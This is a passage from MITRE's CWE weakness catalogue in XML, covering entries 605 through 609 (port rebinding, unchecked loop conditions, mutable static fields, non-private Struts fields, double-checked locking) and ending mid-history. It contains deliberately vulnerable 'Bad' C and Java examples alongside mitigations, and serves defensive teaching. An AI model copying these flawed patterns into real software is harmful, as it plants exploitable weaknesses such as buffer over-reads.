               <Intro_Text>This code binds a server socket to port 21, allowing the server to listen for traffic on that port.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void bind_socket(void) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>int server_sockfd;<xhtml:br/>int server_len;<xhtml:br/>struct sockaddr_in server_address;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*unlink the socket if already bound to avoid an error when bind() is called*/</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>unlink("server_socket");<xhtml:br/>server_sockfd = socket(AF_INET, SOCK_STREAM, 0);<xhtml:br/>
                           <xhtml:br/>server_address.sin_family = AF_INET;<xhtml:br/>server_address.sin_port = 21;<xhtml:br/>server_address.sin_addr.s_addr = htonl(INADDR_ANY);<xhtml:br/>server_len = sizeof(struct sockaddr_in);<xhtml:br/>
                           <xhtml:br/>bind(server_sockfd, (struct sockaddr *) &amp;s1, server_len);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP32</Entry_ID>
               <Entry_Name>Multiple binds to the same port</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Enabling_Factors_for_Exploitation, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Binds to Same Port</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="606" Name="Unchecked Input for Loop Condition" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1284" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="834" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not use user-controlled data for loop conditions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Perform input validation.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void iterate(int n){<xhtml:div style="margin-left:1em;">int i;<xhtml:br/>for (i = 0; i &lt; n; i++){<xhtml:div style="margin-left:1em;">foo();</xhtml:div>}</xhtml:div>}<xhtml:br/>void iterateFoo()<xhtml:br/>{<xhtml:div style="margin-left:1em;">unsigned int num;<xhtml:br/>scanf("%u",&amp;num);<xhtml:br/>iterate(num);</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-91">
               <Intro_Text>In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int processMessageFromSocket(int socket) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int success;<xhtml:br/>
                           <xhtml:br/>char buffer[BUFFER_SIZE];<xhtml:br/>char message[MESSAGE_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// get message from socket and store into buffer</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//Ignoring possibliity that buffer &gt; BUFFER_SIZE</xhtml:i>
                           <xhtml:br/>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// place contents of the buffer into message structure</xhtml:i>
                                 <xhtml:br/>ExMessage *msg = recastBuffer(buffer);<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// copy message body into string for processing</xhtml:i>
                                 <xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; msg-&gt;msgLength; index++) {<xhtml:div style="margin-left:1em;">message[index] = msg-&gt;msgBody[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// process message</xhtml:i>
                                 <xhtml:br/>success = processMessage(message);</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return success;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-606</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Looping Constructs&#34;, Page 327"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-606"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="607" Name="Public Static Final Field References Mutable Object" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="471" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Protect mutable objects by making them private. Restrict access to the getter and setter as well.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Here, an array (which is inherently mutable) is labeled public static final.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public static final String[] USER_ROLES;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="608" Name="Struts: Non-private Field in ActionForm Class" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>// variables for registration form<xhtml:br/>public String name;<xhtml:br/>public String email;<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>// private variables for registration form<xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}</xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:div style="margin-left:1em;">// getter and setter methods for private variables<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="609" Name="Double-Checked Locking" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.</Description>
         <Extended_Description>Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as it is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="367" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-70">
               <Intro_Text>It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>if (helper == null) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>synchronized (this) {<xhtml:div style="margin-left:1em;">if (helper == null) {<xhtml:div style="margin-left:1em;">helper = new Helper();</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}<xhtml:br/>return helper;</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.</Body_Text>
               <Body_Text>Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>helper = new Helper();</xhtml:div>
               </Example_Code>
               <Body_Text>If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK10-J</Entry_ID>
               <Entry_Name>Do not use incorrect forms of the double-checked locking idiom</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-490"/>
            <Reference External_Reference_ID="REF-491"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 13, &#34;Threading Vulnerabilities&#34;, Page 815"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Context_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
